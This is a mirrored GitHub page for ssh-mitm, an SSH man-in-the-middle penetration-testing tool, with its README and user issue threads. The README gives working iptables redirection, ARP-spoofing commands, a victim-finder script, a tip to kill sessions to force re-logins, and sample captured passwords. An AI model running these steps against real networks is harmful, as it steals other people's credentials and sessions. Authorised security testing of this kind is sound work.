Giter Site home page Giter Site logo

jtesta / ssh-mitm Goto Github PK

View Code? Open in Web Editor NEW
1.6K 70.0 196.0 7.44 MB

SSH man-in-the-middle tool

License: Other

Python 0.09% Shell 1.79% Dockerfile 0.01% Makefile 3.25% KRL 0.02% C 76.06% M4 0.77% Roff 1.07% Perl 13.25% Awk 0.03% C++ 0.59% DIGITAL Command Language 1.20% Assembly 1.36% XS 0.02% eC 0.02% Batchfile 0.13% Scheme 0.02% Raku 0.19% Prolog 0.12%
penetration-testing ssh mitm man-in-the-middle man-in-the-middle-attack hacking

ssh-mitm's Introduction

SSH MITM v2.3-dev

Author: Joe Testa (@therealjoetesta)

Overview

This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and sessions are logged to disk.

Of course, the victim's SSH client will complain that the server's key has changed. But because 99.99999% of the time this is caused by a legitimate action (OS re-install, configuration change, etc), many/most users will disregard the warning and continue on.

NOTE: Only run the modified sshd_mitm in a VM or container! Ad-hoc edits were made to the OpenSSH sources in critical regions, with no regard to their security implications. Its not hard to imagine these edits introduce serious vulnerabilities.

Change Log

  • v2.3: ???: Added support for Linux Mint 20 & Ubuntu 20.
  • v2.2: September 16, 2019: Fixed installation on Kali & Linux Mint 19. Fixed a double-password prompt that occured under certain conditions. Improved error logging.
  • v2.1: January 4, 2018: Enabled non-interactive command execution, connections to old servers with weak algorithms can now be intercepted, fixed two major bugs which caused AppArmor to kill some connections, and improved error logging.
  • v2.0: September 12, 2017: Added full SFTP support(!) and AppArmor confinement.
  • v1.1: July 6, 2017: Removed root privilege dependencies, added automatic installer, added Kali Linux support, added JoesAwesomeSSHMITMVictimFinder.py script to find potential targets on a LAN.
  • v1.0: May 16, 2017: Initial revision.

Running The Docker Image

The quickest & easiest way to get started is to use the Docker image with SSH MITM pre-built.

1.) Obtain the image from Dockerhub with:

$ docker pull positronsecurity/ssh-mitm

2.) Next, run the container with:

$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm

3.) Enable IP forwarding and NATing routes on your host machine:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

4.) Find targets on the LAN, and ARP spoof them (see below).

5.) Shell and SFTP sessions will be logged in the ssh_mitm_logs directory.

Initial Setup

As root, run the install.sh script. This will install prerequisites from the repositories, download the OpenSSH archive, verify its signature, compile it, and initialize a non-privileged environment to execute within.

Finding Targets

The JoesAwesomeSSHMITMVictimFinder.py script makes finding targets on a LAN very easy. It will ARP spoof a block of IPs and sniff for SSH traffic for a short period of time before moving on to the next block. Any ongoing SSH connections originating from devices on the LAN are reported.

By default, JoesAwesomeSSHMITMVictimFinder.py will ARP spoof and sniff only 5 IPs at a time for 20 seconds before moving onto the next block of 5. These parameters can be tuned, though a trade-off exists: the more IPs that are spoofed at a time, the greater the chance you will catch an ongoing SSH connection, but also the greater the strain you will put on your puny network interface. Under too high of a load, your interface will start dropping frames, causing a denial-of-service and greatly raising suspicions (this is bad). The defaults shouldn't cause problems in most cases, though it'll take longer to find targets. The block size can be safely raised on low-utilization networks.

Example:

# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141


Local clients:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

The above output shows that two devices on the LAN have created SSH connections (10.11.12.43 and 10.11.12.70); these can be targeted for a man-in-the-middle attack. Note, however, that in order to potentially intercept credentials, you'll have to wait for them to initiate new connections. Impatient pentesters may opt to forcefully close existing SSH sessions (using the tcpkill tool), prompting clients to create new ones immediately...

Running The Attack

1.) Once you've completed the initial setup and found a list of potential victims (see above), execute start.sh as root. This will start sshd_mitm, enable IP forwarding, and set up SSH packet interception through iptables.

2.) ARP spoof the target(s) (Protip: do NOT spoof all the things! Your puny network interface won't likely be able to handle an entire network's traffic all at once. Only spoof a couple IPs at a time):

arpspoof -r -t 192.168.x.1 192.168.x.5

Alternatively, you can use the ettercap tool:

ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3.) Monitor auth.log. Intercepted passwords will appear here:

sudo tail -f /var/log/auth.log

4.) Once a session is established, a full log of all input & output can be found in /home/ssh-mitm/. SSH sessions are logged as shell_session_*.txt, and SFTP sessions are logged as sftp_session_*.html (with transferred files stored in a corresponding directory).

Sample Results

Upon success, /var/log/auth.log will have lines that log the password, like this:

Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

Furthermore, the victim's entire SSH session is logged:

# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

Note that the characters in the user's commands appear twice in the file because the input from the user is recorded, as well as the output from the shell (which echoes characters back). Observe that when programs like sudo and ssh temporarily disable echoing in order to read a password, duplicate characters are not logged.

All SFTP activity is captured as well. Use a browser to view sftp_session_0.html. It contains a log of commands, with links to files uploaded and downloaded:

# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

Developer Documentation

In lol.h are two defines: DEBUG_HOST and DEBUG_PORT. Enable them and set the hostname to a test server. Now you can connect to sshd_mitm directly without using ARP spoofing in order to test your changes, e.g.:

ssh -p 2222 valid_user_on_debug_host@localhost

To test out changes to the OpenSSH source code, use the dev/redeploy.sh script.

To see a diff of uncommitted changes, use the dev/make_diff_of_uncommitted_changes.sh script.

To re-generate a full patch to the OpenSSH sources, use the dev/regenerate_patch.sh script.

ssh-mitm's People

Contributors

jtesta avatar manfred-kaiser avatar phschon avatar timothybrush avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ssh-mitm's Issues

No CVE?

I was wondering after reading your README, how is it possible that there is no patch around on SSH? And why all the main distributions are on 7.5p1? Feels like a security breach to me.

Am I right?

Trying to intercept the SSH connection to AWS EC2 instance

I am a beginner to penetration testing and was wondering if I can use this method that you described to intercept an AWS EC2 instance ssh. I will be doing this in my own machine and a AWS EC2 server that I have full control on.

Would this be possible? and if yes, is it legal to do so? I do not want to run into some illegal law suites trying to do this on the Amazon AWS.

AppArmor denies access to /dev/tty

This is repeated many, many times in /var/log/syslog:

Nov 16 11:33:54 ubuntu16master kernel: [10987.492674] audit: type=1400 audit(1510850034.664:202): apparmor="DENIED" operation="open" profile="/home/ssh-mitm/bin/ssh" name="/dev/tty" pid=6576 comm="ssh" requested_mask="wr" denied_mask="wr" fsuid=1001 ouid=0

Upgrade from OpenSSH 7.5p1 to newer version

SSH MITM is currently based on OpenSSH 7.5p1. This was intentionally frozen due to the fact that several old algorithms were fully removed in 7.6 and later; these algorithms are needed in order to MITM old servers, which are surprisingly still present in corporate environments (like in networking equipment and embedded devices).

However, OpenSSH 7.5p1 is dependent on OpenSSL 1.0.2, which is no longer supported. While the AppArmor profiles may reduce its exploitable surface, depending on it in the long term may not be a good strategy. Therefore, we may need to create a new branch of SSH MITM to use new versions of OpenSSH & OpenSSL, and let users decide if they want to use the current branch with a higher security risk but better compatibility.

Upgrading the OpenSSH version is likely to be a major undertaking. Help from the community would be much appreciated!

New functionality

Hi,

first of all thank you for your work. Your openssh modifications saved me a lot of time.

I added some changes to the patch file that write a timestamp, source IP and source/destination port to the log file. This helped me identifying or observing a communication in e.g. a pcap file or wireshark.

Sample output:

Time: 2018-05-30 13:08:44
Hostname: 192.168.0.2:22
Origin: 192.168.0.3:12345
Username: root
Password: root
-------------------------

If you are interested, I can create a pull request to merge my changes into your repository.

Kali - getsockopt failed (solved)

Trying to connect to the local 2222 port causes this error and it fails
in auth.log
sshd_mitm: fatal: main: getsockopt failed.

and connection closes

Using Virtualbox for encapsulation

Hi jtesta,

first of all, thanks for the awesome work of yours!

I'm trying to use your ssh-mitm in my man in the middle setup. I have a notebook opening a wifi-hotspot, redirecting every traffic to the www. So I have control over all the traffic.

Now, I have installed your script inside a VirtualBox VM. Now I use several script for forwarding all the:

User connects to 22
MITM proxy intercepts incoming connections on port 22 ->  localhost port 2222
Virtualbox listens on port 2222 and redirects to port 22 inside the VM (where sshmitm is listening)

When connecting with a device to my targeted ssh-server, the credentials get intercepted, this happens a lot of time. It seems like the ssh session is spawned a lots of times, on a lot of different ports. But no real ssh session is spawned. I get a lot of session logs which are all empty.

Is there anything I am missing? Can you give me any hint where to search for the problem? If you need more information about the setup, I give my best to provide it.

Cheers!

Build on Kali Linux

Hi there.
There is a small problem with building OpenSSH on Kali linux with latest version of OpenSSL 1.1.
OpenSSH upstream doesn't support this yet =(
All you need to do is to configure openssh with openssl-1.0.2k.

Here a small howto:

# Download OpenSSL and verify its signature, need it you build OpenSSH on Kali:
mkdir -p /opt/ssh-mitm && cd /opt/ssh-mitm
wget https://www.openssl.org/source/openssl-1.0.2k.tar.gz
tar xzf openssl-1.0.2k.tar.gz && cd openssl-1.0.2k
./config --prefix=/usr/local/openssl-1.0.2k --openssldir=/usr/local/openssl-1.0.2k && make install

# Unpack the tarball, patch the sources, and compile it with new SSLDIR:
cd /opt/ssh-mitm
tar xzf openssh-7.5p1.tar.gz
wget https://raw.githubusercontent.com/jtesta/ssh-mitm/master/openssh-7.5p1-mitm.patch
patch -p0 < openssh-7.5p1-mitm.patch
mv openssh-7.5p1 openssh-7.5p1-mitm && cd openssh-7.5p1-mitm && ./configure --with-sandbox=no --with-ssl-dir=/usr/local/openssl-1.0.2k && make -j 5

Double Password Prompt

A user in a production environment claimed that they were prompted twice for their password while logging into a system with SSH. The session was still successfully created, and the credentials were still intercepted, so this bug is relatively minor. It does raise suspicions, however.

They claimed to be using a slightly older version of PuTTY.

installation failed

hi, cool stuff !

tried to install on fully patched debian and it stop's compiling after a while ... an

...
a - port-tun.o
a - port-uw.o
ranlib libopenbsd-compat.a
make[1]: Leaving directory '/root/ssh-mitm/openssh-7.5p1-mitm/openbsd-compat'

Failed to build ssh and/or sshd. Terminating.
root@debian:~/ssh-mitm#

seems that compiling of sshd is not sucessfully, but i don't get any furher errors/infos.

Any Idea how to fix ?
Thx

Error message in logs

Sometimes the following message appears in the logs:

"WARNING: could not open /usr/local/etc/moduli (No such file or directory), using fixed modulus"

Appears to be a minor issue, but should be investigated anyway just in case.

🚨 Critical: SSH-MITM & Associated Docker Container Outdated for 2 Years – 11 Documented Vulnerabilities Unpatched!

First and foremost, I want to express my gratitude for the hard work and effort you've invested in creating SSH-MITM. It's an invaluable resource for the community.

However, I've noticed a few concerning issues and would like to outline them for clarity:

  • Outdated Software: SSH-MITM and its corresponding Docker container positronsecurity/ssh-mitm have been stagnant for about two years without updates.
  • Known Vulnerabilities: SSH-Audit, another tool from you, has highlighted that SSH-MITM currently contains 11 documented vulnerabilities. These have been addressed in OpenSSH, but remain unpatched in SSH-MITM. The detailed list of these vulnerabilities can be found here.
  • Docker Container Vulnerabilities: The Docker container for SSH-MITM, based on Ubuntu 20.04, poses potential threats due to its known vulnerabilities, as documented here. The exact relevance of these to SSH-MITM isn't confirmed, but it's a potential threat.
  • Responsibility to Users: As security professionals, we bear a responsibility to ensure the tools we provide are safe and reliable. If there are constraints preventing active maintenance, users should be clearly and prominently informed.
  • Reference by SSH.com: Your tool is still being referenced by SSH.com, which may inadvertently give users a false sense of security.

Suggested Actions:

  • Address the 11 vulnerabilities in SSH-MITM and update the Docker container to a more secure and recent base.
  • Add a clear and prominent warning at the start of the README about the tool's status and associated risks, especially if active maintenance isn't feasible.
  • Consider archiving the project on GitHub if there are no plans for future updates. This provides a clear indicator to users that the tool is no longer in active development.

Thank you for your dedication to the security community. I hope this feedback is seen in the constructive spirit it's intended.

Installation fails on Ubuntu 20, Debian 10

Ubuntu Server 20.04 LTS and Debian 10 both ship with OpenSSL v1.1.1. This is incompatible with OpenSSH v7.5p1, which the project is based on. Other newer OSes are likely affected as well.

Fortunately, Ubuntu Server 18.04 LTS and Linux Mint 19 still work. Use these until a fix is in place (this might be a few months based on my schedule).

Passwords recording

Hi
I need an option to record only correct passwords. Someone is constantly bruteforcing my honeypots, I need to separate all these logins and passwords from correct ones
Can you add it? I can pay for that

Problems compiling OpenSSH against default version of OpenSSL on Ubuntu 20.04

When I try to compile OpenSSH on Ubuntu 20.04 with the default version of OpenSSL, I got following error:

In file included from sshbuf.h:25,
                 from buffer.h:24,
                 from entropy.h:28,
                 from includes.h:174,
                 from ssh-dss.c:26:
ssh-dss.c: In function 'ssh_dss_sign':
ssh-dss.c:79:25: error: dereferencing pointer to incomplete type 'DSA_SIG' {aka 'struct DSA_SIG_st'}
   79 |  rlen = BN_num_bytes(sig->r);
      |                         ^~
make: *** [Makefile:152: ssh-dss.o] Error 1

The reason is, that the installed version of OpenSSL does not support the needed algorithms.

Using the default version of OpenSSL needs some pathes to the used OpenSSH version.

Client cannot create ssh session after aprspoof attack.

Hello jtesta.

I trying to use this tool in a local enviroment.

i have installed it successfully and then i run start.sh and afterwards i run a arpspoof attack.

The problem tha i have is that when i try to connect to the ssh server from the victim, it shows this message.
Screenshot_1

Any help is appreciated.

Thanks in advance.

SFTP connection fails for wodSSH clients

The following SFTP session fails with the "WeOnlyDo 3.7.3.170" client (which is perhaps this software). While this isn't very common client software, debugging this issue may fix other related problems.

Sep  5 12:17:26 ubuntu1804lts sshd_mitm[11878]: Server listening on :: port 2222.
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[11878]: debug3: fd 5 is not O_NONBLOCK
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[11878]: debug1: Forked child 12030.
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[11878]: debug3: send_rexec_state: entering fd = 8 config len 344
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[11878]: debug3: ssh_msg_send: type 0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: oom_adjust_restore
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[11878]: debug3: send_rexec_state: done
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: Set /proc/self/oom_score_adj to 0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: rexec start in 5 out 5 newsock 5 pipe 7 sock 8
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: inetd sockets after dupping: 3, 3
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: Connection from 172.16.x.x port 52818 on 172.23.63.215 port 2222
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: Client protocol version 2.0; client software version WeOnlyDo 3.7.3.170
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: no match: WeOnlyDo 3.7.3.170
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: Local version string SSH-2.0-OpenSSH_7.5
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: Enabling compatibility mode for protocol 2.0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: fd 3 setting O_NONBLOCK
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: Network child is on pid 12031
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: preauth child monitor started
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: list_hostkey_types: ssh-rsa,rsa-sha2-512,rsa-sha2-256,ssh-ed25519 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: send packet: type 20 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: SSH2_MSG_KEXINIT sent [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: receive packet: type 20 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: SSH2_MSG_KEXINIT received [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: local server KEXINIT proposal [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: KEX algorithms: curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: host key algorithms: ssh-rsa,rsa-sha2-512,rsa-sha2-256,ssh-ed25519 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: ciphers ctos: [email protected],aes128-ctr,aes192-ctr,aes256-ctr,[email protected],[email protected] [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: ciphers stoc: [email protected],aes128-ctr,aes192-ctr,aes256-ctr,[email protected],[email protected] [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: MACs ctos: [email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: MACs stoc: [email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: compression ctos: none,[email protected] [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: compression stoc: none,[email protected] [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: languages ctos:  [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: languages stoc:  [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: first_kex_follows 0  [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: reserved 0  [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: peer client KEXINIT proposal [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: KEX algorithms: ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: host key algorithms: ssh-rsa,ssh-dss,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: ciphers ctos: aes192-cbc,aes192-ctr,3des-cbc,blowfish-cbc,aes128-cbc,aes128-ctr,aes256-cbc,aes256-ctr,rijndael128-cbc,rijndael192-cbc,rijndael256-cbc,[email protected],des-cbc,[email protected] [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: ciphers stoc: aes192-cbc,aes192-ctr,3des-cbc,blowfish-cbc,aes128-cbc,aes128-ctr,aes256-cbc,aes256-ctr,rijndael128-cbc,rijn:dael192-cbc,rijndael256-cbc,[email protected],des-cbc,[email protected] [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: MACs ctos: hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,none [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: MACs stoc: hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,none [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: compression ctos: none,none [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: compression stoc: none,none [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: languages ctos:  [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: languages stoc:  [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: first_kex_follows 0  [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: reserved 0  [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: kex: algorithm: ecdh-sha2-nistp256 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: kex: host key algorithm: ssh-rsa [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: kex: client->server cipher: aes192-ctr MAC: hmac-sha2-256 compression: none [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: kex: server->client cipher: aes192-ctr MAC: hmac-sha2-256 compression: none [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: expecting SSH2_MSG_KEX_ECDH_INIT [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: receive packet: type 30 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_key_sign entering [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 6 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_key_sign: waiting for MONITOR_ANS_SIGN [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive_expect entering: type 7 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: monitor_read: checking request 6
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_answer_sign
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_answer_sign: hostkey proof signature 0x55bcd7827ca0(527)
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 7
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: monitor_read: 6 used once, disabling now
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: send packet: type 31 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: send packet: type 21 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: set_newkeys: mode 1 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: rekey after 4294967296 blocks [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: SSH2_MSG_NEWKEYS sent [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: expecting SSH2_MSG_NEWKEYS [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: receive packet: type 21 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: SSH2_MSG_NEWKEYS received [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: set_newkeys: mode 0 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: rekey after 4294967296 blocks [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: KEX done [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: receive packet: type 5 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: send packet: type 6 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: receive packet: type 50 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: userauth-request for user ssh-mitm service ssh-connection method none [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: attempt 0 failures 0 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_getpwnamallow entering [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 8 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_getpwnamallow: waiting for MONITOR_ANS_PWNAM [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive_expect entering: type 9 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: monitor_read: checking request 8
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_answer_pwnamallow
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: parse_server_config: config reprocess config len 344
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_answer_pwnamallow: sending MONITOR_ANS_PWNAM: 1
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 9
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: monitor_read: 8 used once, disabling now
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: input_userauth_request: setting up authctxt for ssh-mitm [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_inform_authserv entering [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 4 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: input_userauth_request: try method none [preauth]
